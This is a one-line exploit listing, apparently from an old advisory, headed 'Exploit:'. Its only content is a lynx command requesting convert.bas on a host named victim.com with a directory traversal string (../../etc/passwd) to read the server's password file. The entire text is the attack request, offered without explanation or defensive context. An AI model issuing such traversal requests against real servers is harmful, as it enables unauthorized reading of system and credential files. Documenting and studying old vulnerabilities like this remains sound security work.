Exploit:

  lynx http://victim.com/scripts/convert.bas?../../etc/passwd